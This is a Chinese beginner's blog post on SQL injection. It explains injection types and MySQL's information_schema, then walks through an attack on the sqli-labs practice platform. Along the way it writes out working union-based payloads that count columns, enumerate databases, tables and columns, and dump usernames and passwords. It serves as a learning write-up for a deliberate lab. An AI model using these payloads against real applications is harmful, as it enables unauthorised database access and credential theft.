SQL注入心得

开始web渗透之路,新手村

♦什么是SQL注入?

就是你提交的内容里面含有SQL语句,到服务器的时候执行你想要的内容或者效果。

♦SQL注入的种类有什么?

  1. 按照注入点来分类
    1. 数据型注入,提交的内容不会加上‘’

    2. 字符型注入,提交的内容会加上‘’

  2. 按照注入结果服务端会显示给攻击者与否来分类
    1. 有回显,会显示传送回来的信息或者错误提示
    2. 无回显,只能用盲注分为布尔型注入还有时间型注入

♦数据库结构:数据库 > 表 > 列

注:数据库的信息存放在一个公共的表(information_schema)

对象 数据库

英文

schema table column

信息库的列名

table_schema table_name column_name

♦SQL自带函数

用户:user()
当前数据库:database()
数据库版本:version()
@@hostname (用户)
@@datadir   (数据库在文件的位置)
@@version  (版本)
@@version_compile_OS  (操作系统版本)

例:$name=' union select 1,user() --+
解析:select 2列 from 表 where name = '' union select 1,user() -- '   //--+跟--空格效果一样,都是为了注释掉后面的’

♦字符型SQL的注入步骤

  •  首先我们要判断是否有注入点(服务器会对我们除了正常输入以外的测试语句有反应)
    1. 报错
    2. 可以影响到查询的结果
select 列名 from 数据库.表名 where name = '$name'
当输入$name = 1' and '1' = '11' and '1' = '2时页面不一样或者报错就说明有注入点
  • 然后继续探测select语句中有几列
    $name = 1' order by 数字 --+   (--+ 为url编码后的 --(空格) 是注释符,用于屏蔽后面的‘)
    /*
    order by 列名 -->列名可以是id、age、name等等。 因此数字从大往小猜,如果超出它的列数,则报错;如果恰好等于列数,显示$name=1的结果 假设结果 为2 列 */
  • 判断显示信息是第几列
    $name = 1' union select 1,2 --+
    /*
    这样可以显示有多少显示位
    */

     

实战演练

平台是PHP+MYSQL+sqli-labs

工具是HackBar(墙裂推荐这个,很不错的一个工具)

先输入?id=1,正常显示,再输入?id=1’,有报错说明是字符型注入

再输入?id=1'and '1' = '2' --+   发现跟?id=1'and '1' = '1' --+ 显示内容不一样有注入点

 

 输入?id=1' order by 4 --+  错误所以一共有3列

 输入?id=888' union select 1,2,3 --+  /*输入一个很大的id,有两个显示位,分别是2,3*/

 ?id=888' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+   查找数据库的名称

 select group_concat(table_name) from information_schema.tables where table_schema = 'security'    继续爆出表名

 select group_concat(column_name) from information_schema.columns where table_name='users'  继续爆出列名

 ?id=888' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+  爆出最终的用户名和密码

 

 实验完成

posted @ 2019-10-08 16:21  Akira_09  阅读(384)  评论(0)    收藏  举报